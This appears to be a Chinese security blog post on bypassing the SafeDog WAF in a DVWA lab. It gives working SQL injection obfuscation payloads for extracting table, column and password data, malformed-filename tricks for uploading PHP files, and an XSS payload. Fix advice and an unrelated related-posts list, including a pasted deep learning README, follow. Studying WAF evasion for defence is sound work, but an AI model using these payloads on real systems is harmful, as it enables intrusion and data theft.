干货 | 绕过WAF的常见Web漏洞利用分析

渗透测试-WAF绕过通用思路 概述:通用的方法,不仅限于 SQL 注入,就是万金油,无非就是大小写、双写、编码、注释、垃圾字符、分块传输、HPP、WAF 特性等 核心:所有能改的地方,都捣鼓捣鼓改改,增加就加,能删就删,多拿点其他内容来混淆视听。 大小写 unIoNSelect 双写 一些后端可能会直接给关键词过滤为空,那么就可以利用双写来绕过 ununionion==>去掉union==>union 编码 URL 编码 Unicode 编码 十六进制编码 ... 阅读详情

前言


本文以最新版安全狗为例,总结一下我个人掌握的一些绕过WAF进行常见WEB漏洞利用的方法,希望能起到抛砖引玉的效果。如果师傅们有更好的方法,烦请不吝赐教。

PS:本文仅用于技术研究与讨论,严禁用于任何非法用途,违者后果自负,作者与平台不承担任何责任

测试环境

PHPStudy(PHP5.4.45+Apache+MySQL5.5.53)+最新版安全狗(4.0.28330)

靶场使用DVWA:http://www.dvwa.co.uk/

SQL注入

判断是否存在注入

方法一

and 1=1被拦截

单独的and是不拦截的。and后面加数字或者字符的表达式会被匹配拦截。

1=1,1=2的本质是构造一个真、假值,我们可以直接用True,False代替

但是依然会被拦截。不过and也可以用 && 代替。

我们构造1’ && True —+ 就可绕过

1’ && False —+

方法二

将and 后面的数字或者字符表达式加几个内联注释也可以绕过。

内联注释:/ / 在mysql中是多行注释 但是如果里面加了! 那么后面的内容会被执行。这些语句在不兼容的数据库中使用时便不会执行

如:1’ and /!1/=/!1/ —+

1’ and /!1/=/!2/ —+

方法三 分块传输
分块传输的原理请自行检索,这里不再赘述。

分块传输插件:https://github.com/c0ny1/chunked-coding-converter/releases/tag/0.2.1

正常写测试payload : 1’ and 1=1 —+

将请求方式改为POST,然后进行分块传输编码

可以看到,没有被拦截。

1’ and 1=2 —+

猜解字段数

方法一

order by被拦截

单独的order和单独的by都不会被拦截,我们需要在order by之间加各种无效字符。

可以将 1’ order /* x x x xxx xxx*/ by 1 --+ 放burp里跑各种垃圾参数字典来爆破。

经过测试,**1’ order/%%!asd%%%%/by 3 —+**可以成功过狗

通过内联注释/!/和注释/**/以及一些无效字符也可以绕过(需要不断Fuzz尝试)

1’ /!order/!/*//by_/ 3 —+*_

方法二 分块传输

1’ order by 3 —+

获取当前数据库

方法一

1’ union select 1,database() —+ 被拦截

分开测试 union select 会被拦截

database() 也会被拦截

先绕过union select:

和之前order by的绕过方法一样

1’ union/%%!asd%%%%/select 1,2 —+

再绕过database():

经过测试,我们发现单独的database不会被拦截,加了括号就会了

我们将之前的垃圾数据/%%!asd%%%%/放到括号了,即可成功绕过

拼接一下,最终的payload为:

1’ union/%%!asd%%%%/select 1,database(/%%!asd%%%%/) —+

方法二 分块传输

分块传输依然可以

1’ union select 1,database() —+

获取数据库中的表

方法一

正常注入语句:

1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() —+

根据前面的测试,这个绕过就很简单了,只需要将一个空格地方替换成**/%%!asd%%%%/**即可。

Payload:

1’ union/%%!asd%%%%/select 1,group_concat(table_name) /%%!asd%%%%/from /%%!asd%%%%/information_schema.tables where table_schema=database(/%%!asd%%%%/) —+

方法二 分块传输

获取表中的字段名

方法一

正常注入语句:

1’ union select 1,group_concat(column_name) from information_schema.columns where table_name=’users’ —+

绕过方法和获取表的操作无异:

1’ union/%%!asd%%%%/select 1,group_concat(column_name) /%%!asd%%%%/from/%%!asd%%%%/information_schema.columns where table_name=’users’ —+

方法二 分块传输

获取数据

方法一

正常注入语句:

1’ union select group_concat(user),group_concat(password) from users —+

绕过方法还是一样:

1’ union/%%!asd%%%%/select group_concat(user),group_concat(password) /%%!asd%%%%/from/%%!asd%%%%/users —+

方法二 分块传输

文件上传

安全狗对文件上传的拦截是通过检测文件扩展名来实现的。只要解析结果在禁止上传的文件类型列表中,就会被拦截。

我们要做的就是构造各种畸形数据包,以混淆WAF的检测规则。

获取文件名的地方在Content-Disposition和Content-Type,所以绕过的地方也主要在这两个地方

直接上传PHP文件会被拦截

绕过方法1

将filename=”hhh.php” 改为filename=hhh.php; 即可绕过

绕过方法2

各种换行,主要是要把点号和字符串”php”分开

绕过方法3

将filename=”hhh.php” 改为 filename==”hhh.php”(三个等号也可以绕过)

绕过方法4

文件名之间放置分号 filename=”hh;h.php”

绕过方法5

多个filename=”hhh.txt”,最后一个filename=”hhh.php”

XSS

查看安全狗的漏洞防护规则可以发现,安全狗对XSS的防护是基于黑名单的,我们只要fuzz一下哪些标签没有被过滤就好了。

有很多标签可以绕过,这里举例两种:

(1)标签定义声音,比如音乐或其他音频流。

(2)标签,data属性

alert(‘xss’)的base64编码:PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=

payload:

文件包含

通过绝对路径、相对路径,稍微加些混淆就能绕过…

修复建议

我们研究WAF绕过的目的主要是为了警醒网站开发者并不是部署了WAF就可以高枕无忧了,要明白漏洞产生的根本原因,最好能在代码层面上就将其修复。下面给出一些修复建议:

SQL注入

使用预编译sql语句查询和绑定变量:使用PDO需要注意不要将变量直接拼接到PDO语句中。所有的查询语句都使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中。当前几乎所有的数据库系统都提供了参数化SQL语句执行接口,使用此接口可以非常有效的防止SQL注入攻击。

对用户输入的数据格式进行严格要求,比如编号只能输入数字就只能输入数字,只能输入字母就只能输入字符,并且对数据的长度进行限制。

文件上传

文件上传的目录设置为不可执行:只要Web容器无法解析该目录下的文件,即使攻击者上传了脚本文件,服务器本身也不会受到影响。在实际的上传应用中,可以将文件上传后放到独立的存储上,做静态文件处理,一方面方便使用缓存加速,降低性能损耗;另一方面也杜绝了脚本执行的可能。

使用随机数改写文件名和文件路径

上传文件时,服务端采用白名单形式限制文件上传的后缀名称,只允许上传“jpg、png、gif、bmp 、doc、docx、rar、zip”等非Web脚本执行文件。

XSS

对用户输入的参数中的特殊字符进行HTML转义或者编码,防止出现有意义的HTML、CSS、JavaScript代码,如:“’、”、<、>、(、=、.”等特殊字符。可以通过Filter过滤器实现全局编码或者转义,也可以在单点对字符串类型数据进行编码或者转义。

为了帮助大家更好的学习网络安全,我给大家准备了一份网络安全入门/进阶学习资料,里面的内容都是适合零基础小白的笔记和资料,不懂编程也能听懂、看懂这些资料!

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

[2024最新优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享]


在这里插入图片描述

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

[2024最新优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享]
在这里插入图片描述
在这里插入图片描述

网络安全各类WAF绕过技巧 即传入一段长数据使waf失效,从而实现绕过waf。某些waf处理POST的数据时,只会检测开头的8K,后面选择全部放过。 阅读详情

相关推荐

VMware vCenter未授权RCE漏洞深度剖析:从原理到实战绕过

在软件安全领域,远程代码执行(RCE)漏洞因其可直接控制目标系统而备受关注。其原理通常源于输入验证不严、反序列化缺陷或权限校验缺失,攻击者通过构造恶意数据触发漏洞,实现任意命令执行。这类漏洞的技术价值在于能彻底突破系统边界,危害性极高,常见于Web应用、API接口及管理平台等场景。本文聚焦于企业虚拟化核心平台VMware vCenter中一个典型的未授权RCE漏洞,深入拆解其利用链。通过分析**服务架构**与**攻击面**,揭示了从漏洞入口到代码执行的完整路径,并分享了在实战中绕过WAF/IPS检测、应对网

weixin_30363509的博客 2791

WAF绕过思路

WAF绕过思路 WAF在渗透测试中,是我们要面对的第一关卡,渗透测试人员对站点WAF的绕过过程就是渗透测试人员与网站管理员(或WAF开发者)进行PK的过程。在对WAF的渗透时,一般可以考虑采用以下方式展开。 一、增加WAF负担 WAF是为网站安全服务的,但是WAF的存在如果干扰了网站的正常运行,则会得不偿失,因此,网站管理员一般会恰当的配置WAF,起到在不会干扰网站正常运行的前提下,对用户的输入进行过滤的作用。因此,有些WAF就会设置如果数据包长度过长,就对部分数据包或者是数据包的部分内容进行无检测“放行”

永远是少年 4164

最新Web安全 EmpireCMS漏洞常见漏洞分析及复现_cms代码执行漏洞(1),绝对干货分享

我们知道secure_file_priv这个参数在mysql的配置文件里起到的是能否写入的作用,当secure_file_priv = 为空,则可以写入sql语句到数据库,当secure_file_priv = NULL,则不可以往数据库里写sql语句,当secure_file_priv = /xxx,一个指定目录的时候,就只能往这个指定的目录里面写东西。网安所有方向的技术点做的整理,形成各个领域的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。

2401_84296945的博客 754

DAY2-DVWA搭建&SQLmap搭建及基本使用

DVWA简介 DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助web开发者更好的理解web应用安全防范的过程。 DVWA共有十个模块,分别是: 1.Brute Force(暴力(破解)) 2.Command Injection(命令行注入) ...

503 Serivice Unavailable 993

SQL注入漏洞实战:从谷歌语法侦察到SQLmap自动化利用

SQL注入是一种经典的Web安全漏洞,其核心原理在于应用程序将用户输入未经充分验证便直接拼接到数据库查询语句中执行。攻击者通过构造恶意输入,可操纵原始查询逻辑,从而绕过认证、窃取敏感数据甚至控制数据库服务器。这一漏洞深刻揭示了输入验证与安全编码的重要性,在数据驱动的现代应用中具有极高的危害性。其技术价值在于,理解SQL注入是掌握Web安全攻防基础思想的绝佳切入点。应用场景广泛,尤其常见于存在历史遗留代码的企业官网、教育系统及管理后台等。针对此类漏洞,安全测试人员常借助SQLmap这一自动化工具进行高效检测与

weixin_34318272的博客 333

从XSS漏洞原理到实战:自建接收平台与CTF靶场利用详解

跨站脚本攻击(XSS)是Web安全领域的核心漏洞类型之一,其本质在于攻击者能够将恶意脚本注入到受信任的网页中,当其他用户浏览时,这些脚本会在其浏览器上下文中执行。理解其原理需要掌握前端代码与数据交互的边界,即如何让数据被错误地解析为可执行代码。从技术价值看,XSS不仅可用于窃取用户Cookie、会话令牌等敏感信息,还能进行页面篡改、发起钓鱼攻击,是评估Web应用安全性的关键指标。在渗透测试和CTF竞赛等授权演练场景中,为了安全、可控地接收攻击载荷触发的数据,安全研究人员常需搭建专属的XSS平台。本文以Pyt

weixin_34186128的博客 588

黑客攻防演练靶站DVWA应用实践

学习黑客攻防技术在以前经常是通过虚拟机自搭建服务来练习, 但自搭建的服务通常只针对包含某一个特定的漏洞,如果想学习其它的知识,往往需要找到对应漏洞版本的组件来独立安装,非常不方便。DVWA(Damn Vulnerable Web Application)是一个专门用于渗透测试和安全培训的开源漏洞Web应用程序

这里是二进制空间安全博客,主要分享网络安全、信息安全和数据安全相关的技术文章。内容覆盖编程语言、基础知识、漏洞分析、攻防技巧、安全工具使用、最佳实践等安全技术主题。 363

STM32寄存器级电机驱动:DRV8833 H桥与PWM调速原理

电机驱动是嵌入式控制系统的核心基础能力,其本质是微控制器通过数字信号精确控制功率器件的开关时序。理解H桥电路结构、反电动势防护机制及PWM调制原理,是实现可靠直流电机控制的前提。DRV8833作为典型双H桥驱动芯片,支持快衰减与慢衰减两种PWM调速模式,分别对应不同的电流泄放路径与动态响应特性。在STM32平台上,需结合时钟树配置、GPIO复用、定时器寄存器(PSC/ARR/CCR)精确计算,将抽象的转速需求转化为可执行的硬件操作。该技术广泛应用于智能小车、机器人关节、工业定位系统等实时运动控制场景,是掌握

weixin_42613017的博客 682

【干货】记一次WAF对抗赛详解&全方位绕过WAF

0x01 preview 上个星期参加了某巨头厂商承办的挑战赛,比赛周期48小时,题目是成功渗透在安全宝保护下的五个通用cms靶场,其中包括论坛、商城、资源网站等 从靶场布置来看很明显是在测试安全宝对于几种不同类型cms的对攻击的防御能力。 这样的比赛模式区别于常见的CTF线上模式稍有不同,实战味道较强。常规的CTF在Web题目上面主要考察的是漏洞挖掘和利用,难点一般凸显在发现难和利

Enweitech Software Works 1万+

手把手教你用AirSim生成无人机训练数据集:RGB/深度图/分割图全攻略

本文详细介绍了如何使用AirSim仿真插件在UE4环境中生成无人机训练数据集,涵盖RGB、深度图和分割图等多种模态数据的采集与处理。通过实战指南,读者可以掌握环境配置、多模态数据采集、自动化流程设计及数据后处理等关键技术,为无人机视觉算法开发提供高质量训练数据。

weixin_29008805的博客 451

Sentinel2 哨兵2数据下载方法(USGS)-史上最全讲解

本文讲述了从USGS官网下载Sentinel2的方法。主要包括USGS官网的注册和下载流程,以及选定研究区中所出现的问题、解决办法。

xiatiandexia123的博客 6万+

深入浅出Web渗透漏洞探测与利用:全网主流高危漏洞实战复盘与攻防进阶指南

同理,在Bricks XSS跨站、文件上传、密码登录模块,均可通过代理篡改请求体、Cookie、请求头,绕过前端JS过滤、前端权限限制,验证深层漏洞。实战测试中无需一直开启拦截,关闭Intercept开关后,Burp会自动在【Target】模块记录所有Bricks靶场的访问流量,包括页面请求、静态资源、接口请求,形成基础站点流量日志,为后续爬虫扫描、流量分析提供数据支撑。在Web渗透测试中,代理、爬虫、代码编辑器是三大必备基础工具,贯穿信息收集、漏洞探测、验证、审计全流程,是所有渗透实操的基础。

lululuyuyuyufufu的博客 497

CVE-2017-7921漏洞深度解析:海康设备明文密码泄露原理与七层防御

网络摄像头安全本质上是嵌入式Web服务安全,其核心在于身份认证机制是否健全。CVE-2017-7921并非传统远程执行漏洞,而是因信任错位导致的未授权API暴露——`/Security/users/1`接口绕过Session校验,直接返回admin明文密码。该问题根植于安防设备早期‘物理隔离+前端可控’的设计假设,在P2P、云平台等新场景下全面失效。技术价值在于揭示了轻量级HTTP服务中路径级访问控制缺失的普遍风险;典型应用场景包括ONVIF协议接管、Telnet后门登录及NVR侧横向移动。本文基于DS-2

weixin_33324197的博客 405

WEB全套资料 干货满满

sql注入 MySqlMySQL False注入及技巧总结MySQL 注入攻击与防御sql注入学习总结 SQL注入防御与绕过的几种姿势MySQL偏门技巧mysql注入可报错时爆表名、字段名、库名高级SQL注入:混淆和绕过 MSSQLMSSQL DBA权限获取WEBSHELL的过程 MSSQL 注入攻击与防御CLR在SQL Server中的利用技术分析 PostgreSQLpostgresql数据库...

玄道的网安博客 2361

Ubutntu下使用realsense d435i(二):获取某二维像素点的三维坐标

00 准备工作 准备工作包括安装驱动以及pyrealsense2,具体可参考上一篇: Ubutntu下使用realsense d435i(一):准备工作以及安装pyrealsense2 https://blog.youkuaiyun.com/gyxx1998/article/details/121461293 01 通过二维像素点获得物体三维坐标 这个在上一篇已经介绍了代码: realsense d435i获取某像素点三维坐标(计算深度和点云两种方法) https://blog.youkuaiyun.com/gyxx1998/

gyxx1998的博客 9945

嵌入式工程师必学(118):MCU的硬件定时器和中断

大多数微处理器都有一个或多个可编程硬件定时器,这些定时器包括对中断的支持。可以有不同类型的计时器,用于不同的应用程序。例如,LPC1768 具有四个 32 位通用定时器、一个看门狗定时器、一个重复中断定时器、一个系统滴答定时器、一个正交编码器接口、6 个 PWM 输出和一个支持中断的实时时钟。硬件定时器用于计时和计数作,允许处理器在 timer 进程运行时继续执行其他进程。硬件定时器是一种使用 clock 信号来增加 register 的电路。

码农17年的博客 212

2025 CTF解题思路全景指南:从入门到实战的全题型干货手册(附真题案例)

2025年CTF赛事呈现三大趋势:跨模块融合(Web+隐写等复合题型占比60%)、实战场景落地(云环境API、容器逃逸成高频考点)、反制技术升级(多层反调试、动态WAF)。解题需遵循"Flag导向+工具联动+分治策略"原则,采用"信息收集→漏洞定位→利用实现→Flag提取"四步法。Web题重点关注云服务利用和API安全,逆向工程需应对反调试和代码混淆技术。实战中需结合静态分析与动态调试,通过定制脚本解决自动化工具失效场景,并注意校验Flag格式与完整性。

2401_84618514的博客 1092

FISCO BCOS(八)——— 一键部署 WeBase

环境 版本 Java Oracle JDK 8 至 14 MySQL MySQL-5.6及以上 Python Python3.6及以上 PyMySQL 1、获取部署安装包: wget https://osp-1257653870.cos.ap-guangzhou.myqcloud.com/WeBASE/releases/download/v1.5.4/webase-deploy.zip 2、解压安装包: unzip webase-deploy.zip 3、进入目录: c...

林中有神君 3610

FortiWeb WAF高危漏洞CVE-2025-64446深度剖析与实战防御指南

Web应用防火墙是保障Web应用安全的核心组件,其工作原理是通过分析HTTP/HTTPS流量,依据预设规则对恶意请求进行识别和阻断。逻辑漏洞,特别是身份认证与访问控制缺陷,是WAF等安全设备面临的高危风险,攻击者可能通过精心构造的请求绕过防护机制,直接获取设备控制权,导致整个防护体系失效。CVE-2025-64446正是Fortinet FortiWeb WAF中一个典型的身份认证绕过漏洞,CVSS评分高达9.1。攻击者利用GUI组件访问控制不当,无需凭证即可执行管理员操作并创建后门账户,严重威胁设备及其防

weixin_28715953的博客 339

【RT-DETR涨点改进】独家创新改进篇 | AAAI2024 | RT-DETR引入CFBlock增强对长程依赖和全局语义信息的建模能力,有助于提升复杂场景下小目标、遮挡目标的检测精度

本文给大家介绍在RT-DETR中引入CFBlock模块,能够有效提升模型对长程依赖和全局语义信息的建模能力,在保持轻量化和高效推理的基础上增强特征表达力,特别有助于提升复杂场景下小目标、遮挡目标的检测精度,从而实现更优的精度与速度平衡。

Ai缝合怪、助力小伙伴高效发论文 262

复分析 阿尔福斯(Ahlfors) 第三版答案 英文

答案分为十章,有部分习题没有答案,全英文复分析阿尔福斯(Ahlfors) 第三版答案

Struts2漏洞扫描与利用实战:从原理到高级攻防技巧

在Java Web应用安全领域,OGNL表达式注入和远程代码执行(RCE)是常见的高危漏洞类型,其原理在于框架对用户输入的处理不当,导致攻击者能够执行任意代码。这类漏洞的技术价值在于可直接威胁服务器安全,常被用于数据窃取、权限提升和内网渗透。在应用场景上,Apache Struts2作为广泛使用的企业级框架,其历史漏洞(如S2-045、S2-057)影响深远,自动化扫描工具成为渗透测试和应急响应的关键。本文聚焦于Struts2-Scan这一集成化工具,深入解析其漏洞特征库与动态Payload引擎的协同机制,

culi4814的博客 392

深度学习工具包 DeepLearningToolbox

深度学习工具包Deprecation notice.-----This toolbox is outdated and no longer maintained.There are much better tools available for deep learning than this toolbox, e.g. [Theano](http://deeplearning.net/software/theano/), [torch](http://torch.ch/) or [tensorflow](http://www.tensorflow.org/)I would suggest you use one of the tools mentioned above rather than use this toolbox.Best, Rasmus.DeepLearnToolbox================A Matlab toolbox for Deep Learning.Deep Learning is a new subfield of machine learning that focuses on learning deep hierarchical models of data.It is inspired by the human brain's apparent deep (layered, hierarchical) architecture.A good overview of the theory of Deep Learning theory is[Learning Deep Architectures for AI](http://www.iro.umontreal.ca/~bengioy/papers/ftml_book.pdf)For a more informal introduction, see the following videos by Geoffrey Hinton and Andrew Ng.* [The Next Generation of Neural Networks](http://www.youtube.com/watch?v=AyzOUbkUf3M) (Hinton, 2007)* [Recent Developments in Deep Learning](http://www.youtube.com/watch?v=VdIURAu1-aU) (Hinton, 2010)* [Unsupervised Feature Learning and Deep Learning](http://www.youtube.com/watch?v=ZmNOAtZIgIk) (Ng, 2011)If you use this toolbox in your research please cite [Prediction as a candidate for learning deep hierarchical models of data](http://www2.imm.dtu.dk/pubdb/views/publication_details.php?id=6284)```@MASTERSTHESIS\{IMM2012-06284, author = "R. B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath('DeepLearnToolbox'));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand('state',0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W'); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand('state',0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = 'sigm';%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, 'Too big error');```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand('state',0)sae = saesetup([784 100]);sae.ae{1}.activation_function = 'sigm';sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)')% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = 'sigm';nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, 'Too big error');```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x',28,28,60000))/255;test_x = double(reshape(test_x',28,28,10000))/255;train_y = double(train_y');test_y = double(test_y');%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you'll get around 1.2% errorrand('state',0)cnn.layers = { struct('type', 'i') %input layer struct('type', 'c', 'outputmaps', 6, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %sub sampling layer struct('type', 'c', 'outputmaps', 12, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, 'Too big error');```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand('state',0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, 'Too big error');%% ex2 neural net with L2 weight decayrand('state',0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex3 neural net with dropoutrand('state',0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex4 neural net with sigmoid activation functionrand('state',0)nn = nnsetup([784 100 10]);nn.activation_function = 'sigm'; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex5 plotting functionalityrand('state',0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = 'softmax'; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand('state',0)nn = nnsetup([784 20 10]); nn.output = 'softmax'; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');```[![Bitdeli Badge](https://d2weczhvl823v0.cloudfront.net/rasmusbergpalm/deeplearntoolbox/trend.png)](https://bitdeli.com/free "Bitdeli Badge")

RCE漏洞攻防实战:从原理到手工利用与防御体系构建

远程代码执行(RCE)是Web安全领域的高危漏洞类型,其核心原理在于应用程序未能正确处理用户输入,导致数据与代码边界混淆,攻击者可借此在服务器端执行任意命令。理解其底层机制,如命令注入、反序列化、模板注入等不同触发场景,对于构建有效的安全防御至关重要。在工程实践中,针对RCE的攻防已形成体系化方法,攻击方需掌握从信息收集、漏洞探测到绕过WAF、构造利用链及权限维持的完整流程;而防御方则需在安全开发生命周期中贯彻输入验证、最小权限原则,并借助WAF、RASP及主机监控构建纵深防线。本文聚焦于RCE漏洞的手工实

weixin_33882452的博客 354

pscad IEEE标准系统搭建说明

pscad IEEE标准系统搭建说明,包含典型的IEEE 9节点、14节点、30节点、39节点和118节点系统。内含标准测试系统的原始数据和潮流结果。

visio安装包

Microsoft Office Visio 是一款专业的制图软件。利用经过更新的形状、协作工具和数据链接图表,创建专业级图表以简化复杂的信息。

【深度干货】从脚本小子到渗透老鸟:我的Web实战攻防技术栈复盘(附实战案例)​

网络安全产业就像一个江湖,各色人等聚集。相对于欧美国家基础扎实(懂加密、会防护、能挖洞、擅工程)的众多名门正派,我国的人才更多的属于旁门左道(很多白帽子可能会不服气),因此在未来的人才培养和建设上,需要调整结构,鼓励更多的人去做“正向”的、结合“业务”与“数据”、“自动化”的“体系、建设”,才能解人才之渴,真正的为社会全面互联网化提供安全保障。

2401_84618514的博客 929

干货分享 | WAF与RASP对比 【附:任意文件上传漏洞防护实例】

当然WAF也有自身的优势,攻击者进行真正的攻击之前,通常会制造大量的非正常流量,这些流量包括推测可注入点、服务器环境信息等,而WAF可以将所有的流量进行记录,且根据规则库内容进行拦截。以上列举了文件上传漏洞之WAF防护常用的被绕过手段,WAF主要检测的是请求信息,包括请求地址、请求方式、参数、请求头等。RASP通过在应用程序的字节码中动态插桩检测“探针”,来获取应用程序各种运行时的上下文信息,在应用程序运行的时候,利用当前上下文信息实时保护应用,使应用程序具备自我保护能力,不需要进行人工干预。

weixin_55163056的博客 450

文件上传与文件包含漏洞组合利用:图片马绕过检测实战

文件上传与文件包含是Web安全领域两个基础且关键的技术概念。文件上传漏洞源于服务端对用户上传文件的类型、内容校验不严,而文件包含漏洞则允许攻击者通过动态包含函数引入并执行外部文件。这两种漏洞单独存在时危害有限,但组合利用能产生“1+1>2”的破坏性效果,常被用于直接获取服务器权限。其核心价值在于,攻击者可以绕过严格的后端文件类型检测,例如通过制作包含恶意代码的“图片马”,利用合法的图片文件头欺骗内容校验,再通过文件包含漏洞将图片中的代码注入执行,从而在看似安全的上传功能中植入WebShell。这种组合攻击在

weixin_34384557的博客 430
上一篇: 2024HVV | 12款开源渗透测试工具(非常详细)零基础入门到精通,收藏这一篇就够了
下一篇: 分享几个在线安全小工具
网络安全大白
博客等级 码龄5年 7308粉丝 698原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值